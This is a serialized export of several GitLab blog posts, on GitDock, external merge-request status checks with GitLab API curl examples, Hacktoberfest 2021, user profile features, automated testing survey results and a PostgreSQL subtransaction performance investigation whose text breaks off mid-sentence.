[GitDock](https://gitlab.com/mvanremmerden/gitdock) project and download the [newest release for your machine](https://gitlab.com/mvanremmerden/gitdock/-/releases). \n\n## Why didn't we make this part of our Web UI?\n\nThe main goal for GitDock is to help us learn how users want to navigate in this more user-centric approach. We decided to build this [minimum viable change (MVC)](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) in a separate product as it allowed us to move faster and use a few shortcuts, e.g. relying on the local browser history for the recently viewed items instead of storing these in our database. It also permitted us to cut some corners on performance as our API is not yet optimized for this approach. Here's one way example of how it's not optimized: getting the last pipeline you triggered requires three API calls to different endpoints.\n\nOne other advantage is that it gives us a space to test new ideas that we are curious about without having to fully commit to them (e.g. bookmarks).\n\n## What are the next steps?\n\nWe want to use the learnings and data from this project to help us [build a better start page for GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/225331). Right now this page is configurable and can show you different content, but almost 99% of users keep the default \"Your projects\" list as start page. We don't think users do this because it is truly the most useful option, and we want to create a better experience for this.\n\nThat's why we are still looking for feedback. Let us know what you think about GitDock and what other content would be helpful for you in a start page, or other navigation feature.\n",[676,2249,4103],{"slug":17093,"featured":6,"template":678},"gitpod-desktop-app-personal-activities","content:en-us:blog:gitpod-desktop-app-personal-activities.yml","Gitpod Desktop App Personal Activities","en-us/blog/gitpod-desktop-app-personal-activities.yml","en-us/blog/gitpod-desktop-app-personal-activities",{"_path":17099,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17100,"content":17105,"config":17110,"_id":17112,"_type":16,"title":17113,"_source":17,"_file":17114,"_stem":17115,"_extension":20},"/en-us/blog/how-to-status-checks",{"title":17101,"description":17102,"ogTitle":17101,"ogDescription":17102,"noIndex":6,"ogImage":12013,"ogUrl":17103,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17103,"schema":17104},"How to use external status checks for merge requests","Want to integrate third-party systems and apps with GitLab merge requests? Here's everything you need to know.","https://about.gitlab.com/blog/how-to-status-checks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use external status checks for merge requests\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-10-04\",\n      }",{"title":17101,"description":17102,"authors":17106,"heroImage":12013,"date":17107,"body":17108,"category":734,"tags":17109},[937],"2021-10-04","\n\nThe [external status checks for merge requests capability](/releases/2021/07/22/gitlab-14-1-released/#external-status-checks-for-merge-requests) was recently introduced in GitLab and it allows the integration of third-party systems and applications with GitLab merge requests.\n\n## What are \"external status checks for merge requests\"?\n\nExternal status checks are API calls to systems or applications that sit outside GitLab. These API calls are invoked during merge requests, which display a widget with the status of each external check. With external status checks, you can integrate GitLab with third-party systems, e.g. Salesforce, PeopleSoft, Microsoft Dynamics, etc., that require manual approval for merge requests. This makes it easy to see that merge requests have met external requirements before being merged, adding an extra method to ensure compliance and audit requirements are met.\n\n## Steps to enable and use external status checks for merge requests\n\nIn this example, I have a sample project called **my-proj**, for which I'd like to add and exercise a single external status check, which will hypothetically do some kind of validation for the merge request.\n\n### Adding an external status check to your project\n\nExternal status checks are added to merge requests by heading to your project’s **Settings > General** and then expanding the **Merge requests** section. Towards the bottom of the **Merge requests** section, you will see an **Add status check** button, which you will need to click to to display the **Add status check** pop-up dialog:\n\n\u003C!--\n![Add status check dialog](https://about.gitlab.com/images/blogimages/how-to-status-checks/1-add-status-check-dialog.png){: .shadow.small.center.wrap-text}\nAdd status check dialog with filled values\n{: .note.text-center}\n-->\n\n\u003Cimg src=\"/images/blogimages/how-to-status-checks/1-add-status-check-dialog.png\" width=\"50%\" height=\"50%\">\nAdd status check dialog with filled values\n{: .note.text-center}\n\nIn the dialog above, the external service name is being given the name *compliance-check*. The external API that will be called is:\n\n> https://tech-marketing-sandbox-cd-compvalidator.compliance.gitlabworkshops.io/validate\n\n> **NOTE:** the *validate* service above was [a simple Java service that I set up](https://gitlab.com/tech-marketing/sandbox/cd/compvalidator) ahead of time to mimic a third-party external service. It returned an HTTP 200 success message when invoked. In a real life scenario, this external API call would be a SaaS service or an on-premises ERP system, for example.\n\nThe API above is a call - invoked from any merge requests created under this project - to an external system that will run a compliance check and validate modifications to this application.\n\nAs the target branch, the default *Any branch* has been selected. Another option could have been the *main* branch.\n\nWhen you click the **Add status check** button, an entry will be created in the **Status checks** table, as shown below:\n\n![status check table](https://about.gitlab.com/images/blogimages/how-to-status-checks/2-status-checks-table.png){: .shadow.small.center.wrap-text}\nStatus checks table\n{: .note.text-center}\n\n### External status check in action\n\nTo exercise the external status check for merge requests, we need to create a merge request. But before that, let's create an issue.\n\n1. Create an issue by clicking on **Issues > List** from the left vertical navigation menu to get to the Issues screen.\n\n2. Then click on the **New Issue** button\n\n3. On the **New Issue** window:\n\n3.1. In the Title field, enter \"External status check demo\"\n\n3.2. In the Description field, enter \"Issue to demonstrate an external status check\"\n\n3.3. Click on **Assign to me** next to the **Assignees** field\n\n3.4. Click on the **Create issue** button at the bottom of the window\n\n\u003C!--\n![issue create window](https://about.gitlab.com/images/blogimages/how-to-status-checks/3-issue-create-window.png){: .shadow.small.center.wrap-text}\nCreating an issue\n{: .note.text-center}\n-->\n\n\u003Cimg src=\"/images/blogimages/how-to-status-checks/3-issue-create-window.png\" width=\"75%\" height=\"75%\">\nCreating an issue\n{: .note.text-center}\n\nOnce the issue is created, you will be in the detail issue window.\n\n4. Click on the **Create merge request** button on the right hand side of the detailed issue window.\n\n![create a merge request](https://about.gitlab.com/images/blogimages/how-to-status-checks/4-create-merge-req.png){: .shadow.small.center.wrap-text}\nCreating a merge request\n{: .note.text-center}\n\nOnce the merge request is created, you will be in the detail merge request window.\n\n5. Click on the **Open in Web IDE** button on the right hand side of the detailed merge request window:\n\n![open webIDE](https://about.gitlab.com/images/blogimages/how-to-status-checks/5-open-webide.png){: .shadow.small.center.wrap-text}\nOpening the Web IDE\n{: .note.text-center}\n\n6. Make a minor update to the application. In the sample project **my-proj**, I modified two files: DemoApplication.java and DemoApplicationTests.java.\n\n6.1. In the DemoApplication.java class, I added the word \"today\" to the string returned by a call to this class:\n\n![update DemoApp](https://about.gitlab.com/images/blogimages/how-to-status-checks/6-update-demoapp.png){: .shadow.small.center.wrap-text}\nMaking a simple update to DemoApplication.java\n{: .note.text-center}\n\n6.2. In the DemoApplicationTests.java class, which is a unit test for DemoApplication.java, I also added the word \"today\" to the string in the *assertThat()* invocation to match the value returned by a call to the DemoApplication.java class:\n\n![update DemoAppTests](https://about.gitlab.com/images/blogimages/how-to-status-checks/7-update-demoapptests.png){: .shadow.small.center.wrap-text}\nMaking a simple update to DemoApplicationTests.java\n{: .note.text-center}\n\n7. Click on the **Commit…** button at the bottom of the Web IDE window. And then ensure to select the feature branch for the merge request before clicking on the **Commit** button again:\n\n\u003C!--\n![committing to feature branch](https://about.gitlab.com/images/blogimages/how-to-status-checks/8-click-commit.png){: .shadow.small.center.wrap-text}\nCommitting to the feature branch\n{: .note.text-center}\n-->\n\n\u003Cimg src=\"/images/blogimages/how-to-status-checks/8-click-commit.png\" width=\"30%\" height=\"30%\">\nCommitting to the feature branch\n{: .note.text-center}\n\n8. Go back to the merge request detail window by clicking on the merge request number on the bottom margin of the window:\n\n\u003C!--\n![click on merge request link](https://about.gitlab.com/images/blogimages/how-to-status-checks/9-click-mr-at-bottom.png){: .shadow.small.center.wrap-text}\nClicking on merge request link at bottom of window\n{: .note.text-center}\n-->\n\n\u003Cimg src=\"/images/blogimages/how-to-status-checks/9-click-mr-at-bottom.png\" width=\"75%\" height=\"75%\">\nClicking on merge request link at bottom of window\n{: .note.text-center}\n\n9. On the detail merge request window, scroll down until you see a section titled **Status checks 1 pending**. This is the merge request widget that lists all external status checks associated with merge requests. Click on the **Expand** button on the right hand side of this section:\n\n![expanding status checks widget](https://about.gitlab.com/images/blogimages/how-to-status-checks/10-click-on-expand.png){: .shadow.small.center.wrap-text}\nExpanding the status checks widget in the merge request\n{: .note.text-center}\n\n10. In the expanded section, you will see an entry for the external status check you defined above, whose name is *compliance-check*. Notice that to the left of its name, there is a pause symbol indicating to the merge request stakeholders that the check is still in progress and has not communicated its approval to the merge request yet:\n\n![list of status checks](https://about.gitlab.com/images/blogimages/how-to-status-checks/11-status-checks-widget-expanded.png){: .shadow.small.center.wrap-text}\nList of external status checks\n{: .note.text-center}\n\n11. In a real life scenario, the pause symbol would change to a green checkmark when the external status check communicates to GitLab that the compliance validation is finished, i.e. the merge request has been approved by the external service:\n\n![status checks passed](https://about.gitlab.com/images/blogimages/how-to-status-checks/12-status-check-passed.png){: .shadow.small.center.wrap-text}\nStatus checks that have passed\n{: .note.text-center}\n\n### How does an external status check inform GitLab that it has approved the merge request\n\nUsing an external status check integrates GitLab merge requests to a home-grown or SaaS application, for example, by invoking an API of this external system. Once this external system does its compliance validation or check, then it needs to inform GitLab that it has approved the merge request. To do this, the external system API must make use of the [GitLab external status checks API](https://docs.gitlab.com/ee/api/status_checks.html) to communicate to GitLab that the MR is approved. This is a 2-step process:\n\n1. The first step is to get the ID of the external status check you need to approve. Here is an example of how to invoke the GitLab API to do this:\n\n> curl --request GET --header \"PRIVATE-TOKEN: \u003Creplace with your GitLab API token>\" \"https://gitlab.com/api/v4/projects/28933616/merge_requests/1/status_checks\"\n\nAn example of what the command above will return follows:\n\n> [{\"id\":86,\"name\":\"compliance-check\",\"external_url\":\"https://tech-marketing-sandbox-cd-compvalidator.compliance.gitlabworkshops.io/validate\",\"status\":\"pending\"}]\n\nThe example return value above shows that the ID of the external status check that we’d like to approve is 86.\n\n> **NOTE:** Although I'm showing an example of how to invoke the GitLab API above using the *curl* command, the idea is that your external system API call would carry out any checks and validation and then it would assemble this message in a REST HTTP call back to GitLab to communicate its approval of the merge request.\n\n2. Once you have the ID of the external status check, you can then approve it by using the GitLab API. Here’s an example:\n\n> curl --request POST --header \"PRIVATE-TOKEN:\u003Creplace with your GitLab API token>\" \"https://gitlab.com/api/v4/projects/28933616/merge_requests/1/status_check_responses?sha=\u003Creplace with SHA at HEAD of the source branch>&external_status_check_id=86\"\n\nExecuting the REST API call above will approve the external status check on the GitLab merge request.\n\n```\nNOTE: to obtain the \u003CSHA at HEAD of the source branch>, here’s an example of the command you’d need to execute:\n\n$ git ls-remote https://gitlab.com/tech-marketing/sandbox/cd/my-proj.git\n\nThe URL in the preceding line is the URL to the git project for your merge request. And here’s an example of the output of the preceding command:\n\nad1eeee497c99466797a1155f514d3c0c2f0cc45\tHEAD\n9e209c8d409a0867c1df4e0965aa675277176137\trefs/heads/1-external-status-check-demo\nad1eeee497c99466797a1155f514d3c0c2f0cc45\trefs/heads/master\n9e209c8d409a0867c1df4e0965aa675277176137\trefs/merge-requests/1/head\n```\n\nIn the output above, the SHA for the feature branch associated with the merge request is *9e209c8d409a0867c1df4e0965aa675277176137*\n\n## What we've learned\n\nGitLab recently introduced \"external status checks for merge requests,\" which are effectively API calls to systems/application that sit outside GitLab. As you could see, with external status checks for merge requests, we were able to integrate GitLab with a third-party system that required manual approval for a merge request, ensuring that your application updates meet compliance and audit requirements.\n\nFor a demo of this feature in action, watch the video below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/v4iY8qMvFLo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n",[232,1444,4103],{"slug":17111,"featured":6,"template":678},"how-to-status-checks","content:en-us:blog:how-to-status-checks.yml","How To Status Checks","en-us/blog/how-to-status-checks.yml","en-us/blog/how-to-status-checks",{"_path":17117,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17118,"content":17124,"config":17130,"_id":17132,"_type":16,"title":17133,"_source":17,"_file":17134,"_stem":17135,"_extension":20},"/en-us/blog/join-us-for-hacktoberfest-2021",{"title":17119,"description":17120,"ogTitle":17119,"ogDescription":17120,"noIndex":6,"ogImage":17121,"ogUrl":17122,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17122,"schema":17123},"Join us for Hacktoberfest 2021!","GitLab is participating in this year's Hacktoberfest, and your contributions to open source projects hosted on GitLab.com will count. No tricks, just treats here!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671856/Blog/Hero%20Images/gitlab-hacktoberfest_blog-dark.png","https://about.gitlab.com/blog/join-us-for-hacktoberfest-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join us for Hacktoberfest 2021!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christos Bacharakis\"}],\n        \"datePublished\": \"2021-10-01\",\n      }",{"title":17119,"description":17120,"authors":17125,"heroImage":17121,"date":17127,"body":17128,"category":813,"tags":17129},[17126],"Christos Bacharakis","2021-10-01","\nIt’s October 2021, and we have quite a few treats in store. In addition to celebrating the 10th anniversary of the GitLab open source project, GitLab Inc. will be participating in Hacktoberfest, an event dedicated to increasing contributions to open source projects that's now in its eighth year. This has been widely requested by the open source community for years, so we’re thrilled to see GitLab support rolled out!\n\nThanks to [DigitalOcean](https://www.digitalocean.com/blog/hacktoberfest-is-back-2021/), the organization behind Hacktoberfest, people can now contribute to open source projects that are hosted on GitLab.com.\n\nIt’s easy, sign up on [the Hacktoberfest website](https://hacktoberfest.digitalocean.com) using your GitLab account and explore the available projects to contribute. \n\nProject maintainers who want their projects to participate in Hacktoberfest should follow the steps described on the Hacktoberfest website.\n\n## Contributing to GitLab\n\nAt GitLab, we want to make it easy for everyone to contribute by offering diverse opportunities to participate. Back-end or front-end, localization or tech writing, getting started or experienced contributor, GitLab team members have hand picked a series of issues and epics available for everyone to contribute to during Hacktoberfest.\n\nFind these opportunities through the Hacktoberfest website, or by [searching for projects that have added the “Hacktoberfest” topic](https://gitlab.com/explore/projects?topic=hacktoberfest) on GitLab.\n\nMore information can be found on the [GitLab Hacktoberfest event page](https://about.gitlab.com/events/). If you need help, you can always reach out via [our gitter channel](https://gitter.im/gitlab/gitlab), where GitLab team members and GitLab contributors hang out.\n\n## Treats galore!\n\nTo celebrate the launch of Hacktoberfest on the GitLab ecosystem, we’re offering GitLab swag to the five contributors with the highest number of accepted merge requests to the [GitLab open source project](https://gitlab.com/gitlab-org/gitlab). Merge requests to GitLab created in October 2021 and merged by the 15th of November will count towards this initiative. \n\nWe’re also sending GitLab swag to all contributors whose first merge request [to the GitLab open source project](https://gitlab.com/gitlab-org/gitlab) is created and merged during that time, so newcomers are very welcome!\n\nWe are excited to join DigitalOcean during the launch of Hacktoberfest on GitLab, and look forward to your contributions. If you’d like to share your story with us, please reach out via contributors@gitlab.com or the [Contributors Gitter Channel](https://gitter.im/gitlabhq/contributors).\n\nHappy contributing!\n",[267,2704,277],{"slug":17131,"featured":6,"template":678},"join-us-for-hacktoberfest-2021","content:en-us:blog:join-us-for-hacktoberfest-2021.yml","Join Us For Hacktoberfest 2021","en-us/blog/join-us-for-hacktoberfest-2021.yml","en-us/blog/join-us-for-hacktoberfest-2021",{"_path":17137,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17138,"content":17144,"config":17149,"_id":17151,"_type":16,"title":17152,"_source":17,"_file":17153,"_stem":17154,"_extension":20},"/en-us/blog/personal-profile",{"title":17139,"description":17140,"ogTitle":17139,"ogDescription":17140,"noIndex":6,"ogImage":17141,"ogUrl":17142,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17142,"schema":17143},"GitLab user profiles have just become more personal","Find out the more about our latest additions to GitLab user profiles. You control the data that is displayed","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682144/Blog/Hero%20Images/ben-sweet-2LowviVHZ-E-unsplash.jpg","https://about.gitlab.com/blog/personal-profile","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab user profiles have just become more personal\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2021-09-30\",\n      }",{"title":17139,"description":17140,"authors":17145,"heroImage":17141,"date":17146,"body":17147,"category":736,"tags":17148},[15485],"2021-09-30","\n\nThe GitLab [user profile](https://docs.gitlab.com/ee/user/profile/) contains information about you and your GitLab activity. You can select what information to display.\n\nWe recently added a few new settings to make you user profile more personal:\n\n- [User pronouns](https://gitlab.com/gitlab-org/gitlab/-/issues/333042)\n- [User pronunciation guides](https://gitlab.com/gitlab-org/gitlab/-/issues/25742)\n- [User local times](https://gitlab.com/gitlab-org/gitlab/-/issues/335459)\n\n## User pronouns\n\nYou can now set pronouns to your GitLab user profile. The pronoun appears:\n\n- Next to your user name in your public profile.\n- On the snapshot view of your user profile when someone hovers over your name on an issue or\n  merge request.\n\nBesides being more inclusive, GitLab wants to help you use the correct pronouns when replying\nto comments to respect people's identity. You can:\n\n- Decide whether or not to add pronouns to your profile.\n- Self-identify and enter whatever pronouns you want, without having to select from a pre-defined list.\n\n[Read more](https://docs.gitlab.com/ee/user/profile/#add-your-gender-pronouns) about adding\npronouns to your profile.\n\n## User pronunciation\n\nYou can now add a pronunciation guide to your user profile. In distributed teams where team\nmembers are from different countries, it can be difficult to determine how to say someone's\nname correctly. You can now help people know how to pronounce your name.\n\n[Read more](https://docs.gitlab.com/ee/user/profile/#add-your-name-pronunciation) about adding a\npronunciation guide to your profile.\n\n## User local time\n\nYour local time is now displayed on your profile. Previously, you could set your time\nzone but your local time was not visible throughout GitLab. This improvement helps\nothers know when you are likely to be available.\n\n[Read more](https://docs.gitlab.com/ee/user/profile/#set-your-time-zone) about adding a\nlocal time zone to your profile.\n\n## Additional settings for user profiles\n\nIn the upcoming milestone, we are planning to [add your timezone to the snapshot view of the GitLab user profile](https://gitlab.com/gitlab-org/gitlab/-/issues/337935).\n\nIn GitLab, [everyone can contribute](/community/contribute/). If you would like to see even\nmore additions to user profiles, you can:\n\n- Open an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issue%5Bmilestone_id%5D=#) with your request.\n- Upvote an existing issue. \n- Even [code it yourself](/community/contribute/development/)!\n\nCover image by [Ben Sweet](https://unsplash.com/@benjaminsweet?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](lhttps://unsplash.com/s/photos/profile?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyTextink)\n{: .note}\n\n",[2250,2249,2704],{"slug":17150,"featured":6,"template":678},"personal-profile","content:en-us:blog:personal-profile.yml","Personal Profile","en-us/blog/personal-profile.yml","en-us/blog/personal-profile",{"_path":17156,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17157,"content":17162,"config":17166,"_id":17168,"_type":16,"title":17169,"_source":17,"_file":17170,"_stem":17171,"_extension":20},"/en-us/blog/want-faster-releases-your-answer-lies-in-automated-software-testing",{"title":17158,"description":17159,"ogTitle":17158,"ogDescription":17159,"noIndex":6,"ogImage":12013,"ogUrl":17160,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17160,"schema":17161},"Want faster releases? Your answer lies in automated software testing","The trouble with testing? Nearly everything! Here's why automated software testing is so hard to get right, and how a DevOps platform can help.","https://about.gitlab.com/blog/want-faster-releases-your-answer-lies-in-automated-software-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want faster releases? Your answer lies in automated software testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-09-30\",\n      }",{"title":17158,"description":17159,"authors":17163,"heroImage":12013,"date":17146,"body":17164,"category":962,"tags":17165},[11618],"\n\nFor three years in a row, our Global DevSecOps Survey found testing was the number one reason (by large margins) for release delays. A lack of automated software testing, combined with too many manual tests conducted too late in the process, was a story told time after time, and it certainly was one without any kind of happy ending.\n\nDespite the undeniable progress DevOps has brought to software development, integrating automated software testing into the lifecycle has remained an elusive goal for many teams. Here’s a look at why testing is such a difficult step to get right, and how an integrated DevOps Platform can bring much-needed structure to the process.\n\n## The state of automated software testing\n\nAccording to our [2021 Survey](/developer-survey/), it’s safe to say respondents are _frustrated_ with software testing.\n\n_“Testing can be slow in both writing and running.”_\n\n_“Testing delays everything.”_\n\nWhile there is forward momentum (almost 25% of teams say they’re fully automated - more than double the number from 2020), the same percentage reported zero automation or that they’re just beginning to think about it. \n\n_“Automated testing is ignored ‘due to time constraints.’”_\n\nBut even teams that haven’t ignored automated software testing are hamstrung because the vast majority don’t give developers scan results **within their IDEs.** Fewer than 25% of teams enable [SAST](/blog/developer-intro-sast-dast/) lite scanners in a web IDE and only 20% put results in a web pipeline report for developers. The situation is even worse when it comes to DAST, dependency and container scans: just 16% make DAST/dependency scan data available, and 14% do the same for container scans. While the percentage of teams reporting full automated software testing increased from 2020 to 2021, the percentage giving devs access to key test data barely changed in the same time frame.\n\n## Context switching makes everything hard\n\nThe fact that developers can’t easily get access to test results is a huge productivity blocker. “The best time to (fix bugs) is when I’m in \"flow\" - right when I’m writing the code and have a mental model of all of the things and how they are interconnected,” explained [Brendan O’Leary](/company/team/#brendan), senior developer evangelist at GitLab, in a blog post last year talking about [the developer-security divide](/blog/developer-security-divide/). “So that’s basically the same day or same week as when I wrote it.”\n\n**Elevating your DevOps skills? Join us at [Commit at KubeCon](/events/commit/) - Oct. 11!**\n\nSo while not getting results “in the flow” is a huge stumbling block, developers are adamant about the importance of testing. When we asked developer respondents in our 2021 Survey what they wished they could do more of, testing was, by far, the number one response. \n\nWhat’s the solution to this conundrum? More automation, [more AI/ML](/blog/ai-in-software-development/) and a [DevOps platform](/solutions/devops-platform/) to make everything seamlessly interconnected, visible and actionable.\n\nGeo-sharing company Glympse offers an object lesson on [the benefits of a DevOps platform](/customers/glympse/). The company was using approximately 20 tools to get its software out the door, but after moving to GitLab’s DevOps Platform, the process was dramatically streamlined. Deployments have dropped from four hours to  less than 30 minutes, and deployment fatigue, particularly around testing and code reviews, has vanished. \n\n## The struggle is real, but worth it\n\nFor teams who’ve tamed the automated software testing beast, and are humming along in their DevOps practices, the benefits are substantial. Here’s what they told us in our 2021 Survey:\n\n_“We are not relying on developers to have remembered to create and run tests for their code before deploying.”_\n\n_“We automate everything possible, to be able to test our product ‘like in real life’ without any downside. This increases confidence and simplifies tests for everything.”_\n\n_“Integration testing has been a big plus in how confident we are to release automatically and deliver a version. We are now able to deliver any day.”_\n\n_“It helps that devs don't need to keep track of test running; they just need to push and pipeline will check their code before merge to master.”_\n",[942,4103,8570],{"slug":17167,"featured":6,"template":678},"want-faster-releases-your-answer-lies-in-automated-software-testing","content:en-us:blog:want-faster-releases-your-answer-lies-in-automated-software-testing.yml","Want Faster Releases Your Answer Lies In Automated Software Testing","en-us/blog/want-faster-releases-your-answer-lies-in-automated-software-testing.yml","en-us/blog/want-faster-releases-your-answer-lies-in-automated-software-testing",{"_path":17173,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17174,"content":17180,"config":17185,"_id":17187,"_type":16,"title":17188,"_source":17,"_file":17189,"_stem":17190,"_extension":20},"/en-us/blog/why-we-spent-the-last-month-eliminating-postgresql-subtransactions",{"title":17175,"description":17176,"ogTitle":17175,"ogDescription":17176,"noIndex":6,"ogImage":17177,"ogUrl":17178,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17178,"schema":17179},"Why we spent the last month eliminating PostgreSQL subtransactions","How a mysterious stall in database queries uncovered a performance limitation with PostgreSQL.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669470/Blog/Hero%20Images/nessie.jpg","https://about.gitlab.com/blog/why-we-spent-the-last-month-eliminating-postgresql-subtransactions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we spent the last month eliminating PostgreSQL subtransactions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grzegorz Bizon\"},{\"@type\":\"Person\",\"name\":\"Stan Hu\"}],\n        \"datePublished\": \"2021-09-29\",\n      }",{"title":17175,"description":17176,"authors":17181,"heroImage":17177,"date":17182,"body":17183,"category":734,"tags":17184},[2740,731],"2021-09-29","\nSince last June, we noticed the database on GitLab.com would\nmysteriously stall for minutes, which would lead to users seeing 500\nerrors during this time. Through a painstaking investigation over\nseveral weeks, we finally uncovered the cause of this: initiating a\nsubtransaction via the [`SAVEPOINT` SQL query](https://www.postgresql.org/docs/current/sql-savepoint.html) while\na long transaction is in progress can wreak havoc on database\nreplicas. Thus launched a race, which we recently completed, to\neliminate all `SAVEPOINT` queries from our code. Here's what happened,\nhow we discovered the problem, and what we did to fix it.\n\n### The symptoms begin\n\nOn June 24th, we noticed that our CI/CD runners service reported a high\nerror rate:\n\n![runners errors](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/ci-runners-errors.png)\n\nA quick investigation revealed that database queries used to retrieve\nCI/CD builds data were timing out and that the unprocessed builds\nbacklog grew at a high rate:\n\n![builds queue](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/builds-queue.png)\n\nOur monitoring also showed that some of the SQL queries were waiting for\nPostgreSQL lightweight locks (`LWLocks`):\n\n![aggregated lwlocks](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/aggregated-lwlocks.png)\n\nIn the following weeks we had experienced a few incidents like this. We were\nsurprised to see how sudden these performance degradations were, and how\nquickly things could go back to normal:\n\n![ci queries latency](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/ci-queries-latency.png)\n\n### Introducing Nessie: Stalled database queries\n\nIn order to learn more, we extended our observability tooling [to sample\nmore data from `pg_stat_activity`](https://gitlab.com/gitlab-cookbooks/gitlab-exporters/-/merge_requests/231). In PostgreSQL, the `pg_stat_activity`\nvirtual table contains the list of all database connections in the system as\nwell as what they are waiting for, such as a SQL query from the\nclient. We observed a consistent pattern: the queries were waiting on\n`SubtransControlLock`. Below shows a graph of the URLs or jobs that were\nstalled:\n\n![endpoints locked](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/endpoints-locked.png)\n\nThe purple line shows the sampled number of transactions locked by\n`SubtransControlLock` for the `POST /api/v4/jobs/request` endpoint that\nwe use for internal communication between GitLab and GitLab Runners\nprocessing CI/CD jobs.\n\nAlthough this endpoint was impacted the most, the whole database cluster\nappeared to be affected as many other, unrelated queries timed out.\n\nThis same pattern would rear its head on random days. A week would pass\nby without incident, and then it would show up for 15 minutes and\ndisappear for days. Were we chasing the Loch Ness Monster?\n\nLet's call these stalled queries Nessie for fun and profit.\n\n### What is a `SAVEPOINT`?\n\nTo understand `SubtransControlLock` ([PostgreSQL\n13](https://www.postgresql.org/docs/13/monitoring-stats.html#MONITORING-PG-STAT-ACTIVITY-VIEW)\nrenamed this to `SubtransSLRU`), we first must understand how\nsubtransactions work in PostgreSQL. In PostgreSQL, a transaction can\nstart via a `BEGIN` statement, and a subtransaction can be started with\na subsequent `SAVEPOINT` query. PostgreSQL assigns each of these a\ntransaction ID (XID for short) [when a transaction or a subtransaction\nneeds one, usually before a client modifies data](https://gitlab.com/postgres/postgres/blob/a00c138b78521b9bc68b480490a8d601ecdeb816/src/backend/access/transam/README#L193-L198).\n\n#### Why would you use a `SAVEPOINT`?\n\nFor example, let's say you were running an online store and a customer\nplaced an order. Before the order is fullfilled, the system needs to\nensure a credit card account exists for that user. In Rails, a common\npattern is to start a transaction for the order and call\n[`find_or_create_by`](https://apidock.com/rails/v5.2.3/ActiveRecord/Relation/find_or_create_by). For\nexample:\n\n```ruby\nOrder.transaction do\n  begin\n    CreditAccount.transaction(requires_new: true) do\n      CreditAccount.find_or_create_by(customer_id: customer.id)\n  rescue ActiveRecord::RecordNotUnique\n    retry\n  end\n  # Fulfill the order\n  # ...\nend\n```\n\nIf two orders were placed around the same time, you wouldn't want the\ncreation of a duplicate account to fail one of the orders. Instead, you\nwould want the system to say, \"Oh, an account was just created; let me\nuse that.\"\n\nThat's where subtransactions come in handy: the `requires_new: true`\ntells Rails to start a new subtransaction if the application already is\nin a transaction. The code above translates into several SQL calls that\nlook something like:\n```sql\n--- Start a transaction\nBEGIN\nSAVEPOINT active_record_1\n--- Look up the account\nSELECT * FROM credit_accounts WHERE customer_id = 1\n--- Insert the account; this may fail due to a duplicate constraint\nINSERT INTO credit_accounts (customer_id) VALUES (1)\n--- Abort this by rolling back\nROLLBACK TO active_record_1\n--- Retry here: Start a new subtransaction\nSAVEPOINT active_record_2\n--- Find the newly-created account\nSELECT * FROM credit_accounts WHERE customer_id = 1\n--- Save the data\nRELEASE SAVEPOINT active_record_2\nCOMMIT\n```\n\nOn line 7 above, the `INSERT` might fail if the customer account was\nalready created, and the database unique constraint would prevent a\nduplicate entry. Without the first `SAVEPOINT` and `ROLLBACK` block, the\nwhole transaction would have failed. With that subtransaction, the\ntransaction can retry gracefully and look up the existing account.\n\n### What is `SubtransControlLock`?\n\nAs we mentioned earlier, Nessie returned at random times with queries\nwaiting for `SubtransControlLock`. `SubtransControlLock` indicates that\nthe query is waiting for PostgreSQL to load subtransaction data from\ndisk into shared memory.\n\nWhy is this data needed? When a client runs a `SELECT`, for example,\nPostgreSQL needs to decide whether each version of a row, known as a\ntuple, is actually visible within the current transaction. It's possible\nthat a tuple has been deleted or has yet to be committed by another\ntransaction. Since only a top-level transaction can actually commit\ndata, PostgreSQL needs to map a subtransaction ID (subXID) to its parent\nXID.\n\nThis mapping of subXID to parent XID is stored on disk in the\n`pg_subtrans` directory. Since reading from disk is slow, PostgreSQL\nadds a simple least-recently used (SLRU) cache in front for each\nbackend process. The lookup is fast if the desired page is already\ncached. However, as [Laurenz Albe discussed in his blog\npost](https://www.cybertec-postgresql.com/en/subtransactions-and-performance-in-postgresql/),\nPostgreSQL may need to read from disk if the number of active\nsubtransactions exceeds 64 in a given transaction, a condition\nPostgreSQL terms `suboverflow`. Think of it as the feeling you might get\nif you ate too many Subway 